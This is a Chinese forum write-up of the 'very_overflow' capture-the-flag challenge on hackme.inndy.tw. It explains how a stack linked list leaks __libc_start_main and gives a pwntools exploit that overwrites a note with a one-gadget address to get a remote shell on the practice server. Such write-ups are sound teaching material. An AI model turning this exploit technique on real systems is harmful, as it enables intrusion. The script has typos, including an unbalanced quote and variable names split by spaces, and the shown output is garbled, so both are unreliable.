niexinming / 2017-12-05 20:12:29 / 浏览数 2335 安全技术 CTF 顶(0) 踩(0)

https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了very\_overflow这个题目感觉还不错,我把wp分享出来,方便大家学习very\_overflow的题目要求是:

nc hackme.inndy.tw 7705
Source Code:
https://hackme.inndy.tw/static/very\_overflow.c

程序的源码给了,这个程序的用处就是在栈中创建一个链表,链表中记录的输入数据,可以看到这个链表可以无限循环下去,这样就会造成栈溢出 先运行一下程序看一下这个程序干了啥:

```
hilp@ubuntu:~/hackme$ ./very_overflow
Hello, Welcome to Very Overflow Notes System
1) add note
2) edit note
3) show note
4) dump notes
5) exit
Your action: 1
Input your note: 1
Ok! Your note id is 0
1) add note
2) edit note
3) show note
4) dump notes
5) exit
Your action: 1
Input your note: 1
Ok! Your note id is 1
1) add note
2) edit note
3) show note
4) dump notes
5) exit
Your action: 1
Input your note: 1
Ok! Your note id is 2
1) add note
2) edit note
3) show note
4) dump notes
5) exit
Your action: 3
Which note to show: 1
Note id : 1
Next note: 0xff96045a
Note data: 1
1) add note
2) edit note
3) show note
4) dump notes
5) exit
Your action: 4
Note id : 0
Next note: 0xff960453
Note data: 1
Note id : 1
Next note: 0xff96045a
Note data: 1
Note id : 2
Next note: 0xff960461
Note data: 1
1) add note
```

可以看到这个程序可以输出下一个链表的地址 再看看程序开启了哪些保护:

```
hllp@ubuntu:~/hackme$ checksec very_overflow

[*] '/home/hllp/hackme/very_overflow'
    Arch: i386-32-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX enabled
    PIE: No PIE (0x8048000)

hllp@ubuntu:~/hackme$
```

看到这个程序开了栈不可执行,因为这个程序可以泄露栈的地址,所以可以用http://blog.csdn.net/niexinming/article/details/78666941提到的MAGIC方法去做这个题目

```
这个程序的难点是泄露_libc_start_main的地址,这个程序NOTE的结构是:
```

```
struct NOTE {
   struct NOTE* next;
   char data[128];
};
```

如果想show某个节点的时候,程序会先顺着next指针一直往下找,直到找到某个节点或者节点指针为空,而下个指针的地址为libc\_start\_main,那么就会泄露这个指针,暴 所以我都exp是

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'
from pwn import *
import time
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
localMAGIC = 0x0003AC69
                             #locallibc
remoteMAGIC = 0x0003AC49
                              #remotelibc
def debug(addr = 0x0804895D'):
   raw_input('debug:')
   gdb.attach(io, "directory /home/hllp/hackme/\nb *" + addr)
def base_addr(prog_addr,offset):
   return eval(prog_addr)-offset
elf = ELF('/home/h11p/hackme/very_overflow')
#io = process('/home/h11p/hackme/very_overflow')
io = remote('hackme.inndy.tw', 7705)
debug()
for i in xrange(0,133):
   #time.sleep(2)
   io.recvuntil('Your action:')
   io.sendline("1")
   io.recvuntil("Input your note:")
   io.sendline('A' * 0x79)
io.recvuntil('Your action:')
io.sendline("1")
io.recvuntil("Input your note:")
io.sendline('c' * 0x2f)
io.recvuntil('Your action:')
io.sendline("3")
io.recvuntil('Which note to show:')
io.sendline('134')
io.recv()
io.sendline("2")
libc start main = io.recv().splitlines()[1]
libc module=base addr(libc start main[11:],0x18637)
#MAGIC addr=libc module+localMAGIC
MAGIC addr=libc module+remoteMAGIC
print "MAGIC_addr:"+hex(MAGIC_addr)
io.sendline('133')
```

```
io.recvuntil('Your new data:')
payload = 'a'*10+'b'*7+p32(MAGIC_addr)+'c'*9+'d'*10+'e'*7
io.sendline(payload)
io.recvuntil('Your action:')
io.sendline("5")
io.interactive()
io.close()
```

效果是:

```
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(Dealing Sent Baz bytes:

(Table of Baz
a
                                                                                                         'Sia'

| Switching to interactive mode
| Cot flag
| Cot flag
| Cot flag
| Cot flag|n'

| Laf(pops, heap on the stack is overflowt...dMmediaGleLkLidhskjie'

| Laf(pops, heap on the stack is overflowt...dMmediaGleLkLidhskjie'

| Cot for while reselted in Interactive
```

注意:打远程服务器的时候会出现偶尔断掉的情况,要多打几次才行

very\_overflow.zip (0.005 MB) 下载附件

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